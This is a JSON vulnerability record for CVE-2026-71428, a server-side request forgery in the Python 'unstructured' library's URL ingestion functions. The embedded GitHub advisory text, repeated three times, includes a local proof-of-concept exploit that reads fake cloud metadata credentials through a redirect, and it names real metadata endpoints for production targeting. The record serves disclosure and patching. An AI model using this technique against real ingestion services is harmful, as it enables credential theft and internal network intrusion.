{"id":"CVE-2026-71428","aliases":["EUVD-2026-63472","GHSA-4mvj-m6j5-pmf7","PYSEC-2026-3930"],"status":"published","title":"unstructured: Server-Side Request Forgery in the URL-based partitioning","description":"The unstructured library provides open-source components for ingesting and pre-processing images and text documents, such as PDFs, HTML, Word docs, and many more. From 0.4.7 until 0.24.0, the url argument of partition, partition_html, and partition_md is fetched without host validation in unstructured/partition/auto.py, unstructured/partition/html/partition.py, and unstructured/partition/md.py. An attacker who controls that URL can make a server-side ingestion service request loopback addresses, internal HTTP services, or cloud metadata endpoints through direct targets, redirects, or DNS rebinding. The response body is returned as Element text, allowing internal response disclosure, and side-effecting GET endpoints may also be triggered. This issue is fixed in version 0.24.0.","severity":{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00436,"percentile":0.38151,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-601","CWE-918"],"published":"2026-08-20T16:43:01Z","modified":"2026-10-28T02:30:45Z","fixes":[{"ecosystem":"PyPI","package":"unstructured","fixed_in":["0.24.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"unstructured","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.7"},{"fixed":"0.24.0"}]}]},{"source":"osv","ecosystem":"PyPI","package":"unstructured","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.7"},{"fixed":"0.24.0"}]}],"versions":["0.10.0","0.10.1","0.10.10","0.10.11","0.10.12","0.10.13","0.10.14","0.10.15","0.10.16","0.10.18","0.10.19","0.10.19.dev18","0.10.2","0.10.20","0.10.21","0.10.22","0.10.23","0.10.24","0.10.25","0.10.26","0.10.27","0.10.28","0.10.29","0.10.30","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.11.1","0.11.2","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.12.0","0.12.2","0.12.3","0.12.4","0.12.5","0.12.6","0.13.0","0.13.1","0.13.2","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.14.0","0.14.10","0.14.2","0.14.2.dev1","0.14.3","0.14.4","0.14.5","0.14.6","0.14.7","0.14.8","0.14.9","0.15.0","0.15.1","0.15.10","0.15.12","0.15.13","0.15.14","0.15.3","0.15.5","0.15.6","0.15.7","0.15.8","0.15.9","0.16.0","0.16.1","0.16.10","0.16.11","0.16.12","0.16.13","0.16.14","0.16.15","0.16.16","0.16.17","0.16.19","0.16.2","0.16.20","0.16.21","0.16.22","0.16.23","0.16.24","0.16.25","0.16.3","0.16.4","0.16.5","0.16.6","0.16.7","0.16.8","0.16.9","0.17.0","0.17.2","0.18.1","0.18.11","0.18.13","0.18.14","0.18.15","0.18.18","0.18.2","0.18.20","0.18.21","0.18.24","0.18.26","0.18.27","0.18.3","0.18.31","0.18.32","0.18.5","0.18.6","0.18.7","0.18.9","0.20.2","0.20.6","0.20.8","0.21.0","0.21.1","0.21.2","0.21.5","0.22.10","0.22.12","0.22.16","0.22.18","0.22.20","0.22.21","0.22.22","0.22.23","0.22.26","0.22.27","0.22.28","0.22.29","0.22.30","0.22.31","0.22.32","0.22.6","0.23.0","0.23.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.14","0.4.15","0.4.16","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.2","0.5.3","0.5.4","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.10","0.7.11","0.7.12","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.8.1","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.9.0","0.9.1","0.9.2","0.9.3"]},{"source":"osv","ecosystem":"PyPI","package":"unstructured","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.4.7"},{"fixed":"0.24.0"}]}],"versions":["0.10.0","0.10.1","0.10.10","0.10.11","0.10.12","0.10.13","0.10.14","0.10.15","0.10.16","0.10.18","0.10.19","0.10.19.dev18","0.10.2","0.10.20","0.10.21","0.10.22","0.10.23","0.10.24","0.10.25","0.10.26","0.10.27","0.10.28","0.10.29","0.10.30","0.10.4","0.10.5","0.10.6","0.10.7","0.10.8","0.10.9","0.11.0","0.11.1","0.11.2","0.11.4","0.11.5","0.11.6","0.11.7","0.11.8","0.12.0","0.12.2","0.12.3","0.12.4","0.12.5","0.12.6","0.13.0","0.13.1","0.13.2","0.13.3","0.13.4","0.13.5","0.13.6","0.13.7","0.14.0","0.14.10","0.14.2","0.14.2.dev1","0.14.3","0.14.4","0.14.5","0.14.6","0.14.7","0.14.8","0.14.9","0.15.0","0.15.1","0.15.10","0.15.12","0.15.13","0.15.14","0.15.3","0.15.5","0.15.6","0.15.7","0.15.8","0.15.9","0.16.0","0.16.1","0.16.10","0.16.11","0.16.12","0.16.13","0.16.14","0.16.15","0.16.16","0.16.17","0.16.19","0.16.2","0.16.20","0.16.21","0.16.22","0.16.23","0.16.24","0.16.25","0.16.3","0.16.4","0.16.5","0.16.6","0.16.7","0.16.8","0.16.9","0.17.0","0.17.2","0.18.1","0.18.11","0.18.13","0.18.14","0.18.15","0.18.18","0.18.2","0.18.20","0.18.21","0.18.24","0.18.26","0.18.27","0.18.3","0.18.31","0.18.32","0.18.5","0.18.6","0.18.7","0.18.9","0.20.2","0.20.6","0.20.8","0.21.0","0.21.1","0.21.2","0.21.5","0.22.10","0.22.12","0.22.16","0.22.18","0.22.20","0.22.21","0.22.22","0.22.23","0.22.26","0.22.27","0.22.28","0.22.29","0.22.30","0.22.31","0.22.32","0.22.6","0.23.0","0.23.1","0.4.10","0.4.11","0.4.12","0.4.13","0.4.14","0.4.15","0.4.16","0.4.7","0.4.8","0.4.9","0.5.0","0.5.1","0.5.10","0.5.11","0.5.12","0.5.13","0.5.2","0.5.3","0.5.4","0.5.6","0.5.7","0.5.8","0.5.9","0.6.0","0.6.1","0.6.10","0.6.11","0.6.2","0.6.3","0.6.4","0.6.5","0.6.6","0.6.7","0.6.8","0.6.9","0.7.0","0.7.1","0.7.10","0.7.11","0.7.12","0.7.2","0.7.3","0.7.4","0.7.5","0.7.6","0.7.7","0.7.8","0.7.9","0.8.0","0.8.1","0.8.3","0.8.4","0.8.5","0.8.6","0.8.7","0.8.8","0.9.0","0.9.1","0.9.2","0.9.3"]}],"products":[{"vendor":"unstructured-io","product":"unstructured"}],"references":[{"url":"https://github.com/Unstructured-IO/unstructured/security/advisories/GHSA-4mvj-m6j5-pmf7","tags":["x_refsource_CONFIRM","advisory","web"]},{"url":"https://github.com/Unstructured-IO/unstructured/pull/4388","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Unstructured-IO/unstructured/commit/445c95735c4045057f51f399bc04c657751923bd","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/Unstructured-IO/unstructured/releases/tag/0.24.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-71428","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-4mvj-m6j5-pmf7","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/71xxx/CVE-2026-71428.json","tags":["advisory"]},{"url":"https://github.com/Unstructured-IO/unstructured","tags":["package"]},{"url":"https://pypi.org/project/unstructured","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-71428","title":"unstructured: Server-Side Request Forgery in the URL-based partitioning","description":"The unstructured library provides open-source components for ingesting and pre-processing images and text documents, such as PDFs, HTML, Word docs, and many more. From 0.4.7 until 0.24.0, the url argument of partition, partition_html, and partition_md is fetched without host validation in unstructured/partition/auto.py, unstructured/partition/html/partition.py, and unstructured/partition/md.py. An attacker who controls that URL can make a server-side ingestion service request loopback addresses, internal HTTP services, or cloud metadata endpoints through direct targets, redirects, or DNS rebinding. The response body is returned as Element text, allowing internal response disclosure, and side-effecting GET endpoints may also be triggered. This issue is fixed in version 0.24.0.","status":"published","published":"2026-08-20T16:43:01.306Z","modified":"2026-08-25T15:05:17.185Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"cna"}],"cwes":["CWE-601","CWE-918"],"updated_at":"2026-11-02T14:19:49.559463Z"}],"euvd":[{"id":"EUVD-2026-63472","description":"The unstructured library provides open-source components for ingesting and pre-processing images and text documents, such as PDFs, HTML, Word docs, and many more. From 0.4.7 until 0.24.0, the url argument of partition, partition_html, and partition_md is fetched without host validation in unstructured/partition/auto.py, unstructured/partition/html/partition.py, and unstructured/partition/md.py. An attacker who controls that URL can make a server-side ingestion service request loopback addresses, internal HTTP services, or cloud metadata endpoints through direct targets, redirects, or DNS rebinding. The response body is returned as Element text, allowing internal response disclosure, and side-effecting GET endpoints may also be triggered. This issue is fixed in version 0.24.0.","status":"published","published":"2026-08-20T16:43:01Z","modified":"2026-08-25T15:05:17Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"updated_at":"2026-11-02T18:01:32.944243Z"}],"ghsa":[{"id":"GHSA-4mvj-m6j5-pmf7","title":"unstructured: Server-Side Request Forgery in the URL-based partitioning","description":"### Summary\n\nServer-Side Request Forgery in `unstructured`. The `url=` argument of `partition()`, `partition_html()`, and `partition_md()` is fetched via `requests.get()` with no host validation. The response body is returned as `Element` text, so this is a **full-read SSRF** — attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response. \n\n`unstructured` is the de facto URL ingestion layer for LangChain `UnstructuredURLLoader`, LlamaIndex `UnstructuredReader`, Chainlit, and many agent frameworks — secure defaults must live in the library, not in every downstream caller.\n\n### Details\n\nThree sinks, all in `unstructured == 0.22.26` (verified on `main` at `199f255`):\n\n- `unstructured/partition/auto.py:303` — `file_and_type_from_url()`, reached via `partition(url=…)`.\n- `unstructured/partition/html/partition.py:160` — `partition_html(url=…)`. Post-fetch `Content-Type` check runs after the request hits the target.\n- `unstructured/partition/md.py:96` — `partition_md(url=…)`. No timeout (SSRF + slow-loris DoS).\n\nNone of `is_private`, `is_loopback`, `ipaddress`, `gethostbyname`, or `allow_redirects` appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (`allow_redirects=True` default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since `0.4.7` (Feb 2023) — ~219 releases, no validation ever introduced.\n\n### PoC\n\nLocal-only. `pip install unstructured==0.22.26 flask requests`.\n\n`internal_server.py`:\n\n```python\nfrom flask import Flask, Response, jsonify\napp = Flask(__name__)\n\n@app.route(\"/imds\")\ndef imds(): return jsonify({\"AccessKeyId\": \"ASIA-FAKE\", \"SecretAccessKey\": \"FAKE/SECRET\"})\n\n@app.route(\"/internal.html\")\ndef html(): return Response(\"\u003chtml\u003e\u003cbody\u003e\u003cp\u003eSK_LEAK_42\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e\", mimetype=\"text/html\")\n\n@app.route(\"/redir\")\ndef redir(): return Response(\"\", 302, headers={\"Location\": \"http://127.0.0.1:9999/imds\"})\n\nif __name__ == \"__main__\": app.run(host=\"127.0.0.1\", port=9999)\n```\n\n`exploit.py` — uses the public top-level API:\n\n```python\n# Stub NLP helpers so the offline sandbox skips spaCy model download.\n# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).\nimport unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt\n_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or \"\").split(\". \") if s]\n_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or \"\").split()\n_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, \"NN\") for w in (t or \"\").split()]\n\nfrom unstructured.partition.auto import partition\nL = \"http://127.0.0.1:9999\"\n\n# A: partition(url=...) leaks internal HTML body\nassert \"SK_LEAK_42\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/internal.html\", languages=[\"eng\"]))\n# B: redirect bypass reaches simulated IMDS\nassert \"SecretAccessKey\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/redir\", languages=[\"eng\"]))\nprint(\"PoC OK\")\n```\n\nIn production the attacker substitutes `169.254.169.254`, `metadata.google.internal`, or any internal address.\n\n### Impact\n\nAttacker capabilities:\n\n- **Internal HTTP service read** — loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.\n- **Cloud instance metadata access** — reads metadata services that respond to unauthenticated GETs: GCP (`metadata.google.internal`), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a `PUT` for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.\n- **Side-effecting GET endpoints** — magic-link consumers, job triggers, link-preview generators reachable on internal networks.\n- **Internal network reconnaissance** — connection success/failure timing and error messages serve as a port and service scanner.","status":"published","published":"2026-09-03T17:02:46Z","modified":"2026-09-03T17:02:48Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"cwes":["CWE-601","CWE-918"],"updated_at":"2026-11-02T14:41:11.621873Z"}],"nvd":[{"id":"CVE-2026-71428","description":"The unstructured library provides open-source components for ingesting and pre-processing images and text documents, such as PDFs, HTML, Word docs, and many more. From 0.4.7 until 0.24.0, the url argument of partition, partition_html, and partition_md is fetched without host validation in unstructured/partition/auto.py, unstructured/partition/html/partition.py, and unstructured/partition/md.py. An attacker who controls that URL can make a server-side ingestion service request loopback addresses, internal HTTP services, or cloud metadata endpoints through direct targets, redirects, or DNS rebinding. The response body is returned as Element text, allowing internal response disclosure, and side-effecting GET endpoints may also be triggered. This issue is fixed in version 0.24.0.","status":"published","published":"2026-08-20T17:19:40.773Z","modified":"2026-10-18T20:10:00.11Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-601","CWE-918"],"updated_at":"2026-11-02T14:12:40.302911Z"}],"osv":[{"id":"CVE-2026-71428","title":"unstructured: Server-Side Request Forgery in the URL-based partitioning","description":"The unstructured library provides open-source components for ingesting and pre-processing images and text documents, such as PDFs, HTML, Word docs, and many more. From 0.4.7 until 0.24.0, the url argument of partition, partition_html, and partition_md is fetched without host validation in unstructured/partition/auto.py, unstructured/partition/html/partition.py, and unstructured/partition/md.py. An attacker who controls that URL can make a server-side ingestion service request loopback addresses, internal HTTP services, or cloud metadata endpoints through direct targets, redirects, or DNS rebinding. The response body is returned as Element text, allowing internal response disclosure, and side-effecting GET endpoints may also be triggered. This issue is fixed in version 0.24.0.","status":"published","published":"2026-08-20T16:43:01.306Z","modified":"2026-10-28T02:30:45.513442985Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"cwes":["CWE-601","CWE-918"],"updated_at":"2026-11-02T15:45:15.164658Z"},{"id":"GHSA-4mvj-m6j5-pmf7","title":"unstructured: Server-Side Request Forgery in the URL-based partitioning","description":"### Summary\n\nServer-Side Request Forgery in `unstructured`. The `url=` argument of `partition()`, `partition_html()`, and `partition_md()` is fetched via `requests.get()` with no host validation. The response body is returned as `Element` text, so this is a **full-read SSRF** — attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response. \n\n`unstructured` is the de facto URL ingestion layer for LangChain `UnstructuredURLLoader`, LlamaIndex `UnstructuredReader`, Chainlit, and many agent frameworks — secure defaults must live in the library, not in every downstream caller.\n\n### Details\n\nThree sinks, all in `unstructured == 0.22.26` (verified on `main` at `199f255`):\n\n- `unstructured/partition/auto.py:303` — `file_and_type_from_url()`, reached via `partition(url=…)`.\n- `unstructured/partition/html/partition.py:160` — `partition_html(url=…)`. Post-fetch `Content-Type` check runs after the request hits the target.\n- `unstructured/partition/md.py:96` — `partition_md(url=…)`. No timeout (SSRF + slow-loris DoS).\n\nNone of `is_private`, `is_loopback`, `ipaddress`, `gethostbyname`, or `allow_redirects` appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (`allow_redirects=True` default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since `0.4.7` (Feb 2023) — ~219 releases, no validation ever introduced.\n\n### PoC\n\nLocal-only. `pip install unstructured==0.22.26 flask requests`.\n\n`internal_server.py`:\n\n```python\nfrom flask import Flask, Response, jsonify\napp = Flask(__name__)\n\n@app.route(\"/imds\")\ndef imds(): return jsonify({\"AccessKeyId\": \"ASIA-FAKE\", \"SecretAccessKey\": \"FAKE/SECRET\"})\n\n@app.route(\"/internal.html\")\ndef html(): return Response(\"\u003chtml\u003e\u003cbody\u003e\u003cp\u003eSK_LEAK_42\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e\", mimetype=\"text/html\")\n\n@app.route(\"/redir\")\ndef redir(): return Response(\"\", 302, headers={\"Location\": \"http://127.0.0.1:9999/imds\"})\n\nif __name__ == \"__main__\": app.run(host=\"127.0.0.1\", port=9999)\n```\n\n`exploit.py` — uses the public top-level API:\n\n```python\n# Stub NLP helpers so the offline sandbox skips spaCy model download.\n# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).\nimport unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt\n_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or \"\").split(\". \") if s]\n_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or \"\").split()\n_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, \"NN\") for w in (t or \"\").split()]\n\nfrom unstructured.partition.auto import partition\nL = \"http://127.0.0.1:9999\"\n\n# A: partition(url=...) leaks internal HTML body\nassert \"SK_LEAK_42\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/internal.html\", languages=[\"eng\"]))\n# B: redirect bypass reaches simulated IMDS\nassert \"SecretAccessKey\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/redir\", languages=[\"eng\"]))\nprint(\"PoC OK\")\n```\n\nIn production the attacker substitutes `169.254.169.254`, `metadata.google.internal`, or any internal address.\n\n### Impact\n\nAttacker capabilities:\n\n- **Internal HTTP service read** — loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.\n- **Cloud instance metadata access** — reads metadata services that respond to unauthenticated GETs: GCP (`metadata.google.internal`), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a `PUT` for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.\n- **Side-effecting GET endpoints** — magic-link consumers, job triggers, link-preview generators reachable on internal networks.\n- **Internal network reconnaissance** — connection success/failure timing and error messages serve as a port and service scanner.","status":"published","published":"2026-09-03T17:02:46Z","modified":"2026-09-10T12:26:06.471059991Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"cwes":["CWE-601","CWE-918"],"updated_at":"2026-11-02T15:46:37.148947Z"},{"id":"PYSEC-2026-3930","title":"unstructured: Server-Side Request Forgery in the URL-based partitioning","description":"### Summary\n\nServer-Side Request Forgery in `unstructured`. The `url=` argument of `partition()`, `partition_html()`, and `partition_md()` is fetched via `requests.get()` with no host validation. The response body is returned as `Element` text, so this is a **full-read SSRF** — attackers reach loopback admin APIs, internal HTTP services, and cloud metadata endpoints, and read the response. \n\n`unstructured` is the de facto URL ingestion layer for LangChain `UnstructuredURLLoader`, LlamaIndex `UnstructuredReader`, Chainlit, and many agent frameworks — secure defaults must live in the library, not in every downstream caller.\n\n### Details\n\nThree sinks, all in `unstructured == 0.22.26` (verified on `main` at `199f255`):\n\n- `unstructured/partition/auto.py:303` — `file_and_type_from_url()`, reached via `partition(url=…)`.\n- `unstructured/partition/html/partition.py:160` — `partition_html(url=…)`. Post-fetch `Content-Type` check runs after the request hits the target.\n- `unstructured/partition/md.py:96` — `partition_md(url=…)`. No timeout (SSRF + slow-loris DoS).\n\nNone of `is_private`, `is_loopback`, `ipaddress`, `gethostbyname`, or `allow_redirects` appear in any of the three files. Three exploitation paths apply: direct private-IP target; redirect bypass (`allow_redirects=True` default); DNS rebinding (TOCTOU, closeable only by socket-pinning). Affected since `0.4.7` (Feb 2023) — ~219 releases, no validation ever introduced.\n\n### PoC\n\nLocal-only. `pip install unstructured==0.22.26 flask requests`.\n\n`internal_server.py`:\n\n```python\nfrom flask import Flask, Response, jsonify\napp = Flask(__name__)\n\n@app.route(\"/imds\")\ndef imds(): return jsonify({\"AccessKeyId\": \"ASIA-FAKE\", \"SecretAccessKey\": \"FAKE/SECRET\"})\n\n@app.route(\"/internal.html\")\ndef html(): return Response(\"\u003chtml\u003e\u003cbody\u003e\u003cp\u003eSK_LEAK_42\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e\", mimetype=\"text/html\")\n\n@app.route(\"/redir\")\ndef redir(): return Response(\"\", 302, headers={\"Location\": \"http://127.0.0.1:9999/imds\"})\n\nif __name__ == \"__main__\": app.run(host=\"127.0.0.1\", port=9999)\n```\n\n`exploit.py` — uses the public top-level API:\n\n```python\n# Stub NLP helpers so the offline sandbox skips spaCy model download.\n# Does NOT affect the SSRF (which lives in the URL fetcher, before NLP).\nimport unstructured.nlp.tokenize as _tk, unstructured.partition.text_type as _tt\n_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or \"\").split(\". \") if s]\n_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or \"\").split()\n_tk.pos_tag       = _tt.pos_tag       = lambda t: [(w, \"NN\") for w in (t or \"\").split()]\n\nfrom unstructured.partition.auto import partition\nL = \"http://127.0.0.1:9999\"\n\n# A: partition(url=...) leaks internal HTML body\nassert \"SK_LEAK_42\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/internal.html\", languages=[\"eng\"]))\n# B: redirect bypass reaches simulated IMDS\nassert \"SecretAccessKey\" in \"\\n\".join(str(e) for e in partition(url=f\"{L}/redir\", languages=[\"eng\"]))\nprint(\"PoC OK\")\n```\n\nIn production the attacker substitutes `169.254.169.254`, `metadata.google.internal`, or any internal address.\n\n### Impact\n\nAttacker capabilities:\n\n- **Internal HTTP service read** — loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP fronts, Kubernetes API server, social/internal microservices. This is the most broadly exploitable capability and is unaffected by any cloud-side hardening.\n- **Cloud instance metadata access** — reads metadata services that respond to unauthenticated GETs: GCP (`metadata.google.internal`), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances still configured for IMDSv1 (which remains widely deployed in older accounts and in services that do not enforce IMDSv2-only). EC2 instances configured as IMDSv2-only are not exposed to direct credential theft via this SSRF, since IMDSv2 requires a `PUT` for token acquisition; the SSRF still reaches the endpoint for reconnaissance and surface-mapping.\n- **Side-effecting GET endpoints** — magic-link consumers, job triggers, link-preview generators reachable on internal networks.\n- **Internal network reconnaissance** — connection success/failure timing and error messages serve as a port and service scanner.","status":"published","published":"2026-09-10T09:44:59.847766Z","modified":"2026-09-10T12:15:15.056512299Z","cvss":[{"version":"3.1","score":9.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N","level":"critical"}],"updated_at":"2026-11-02T15:52:57.255153Z"}]}}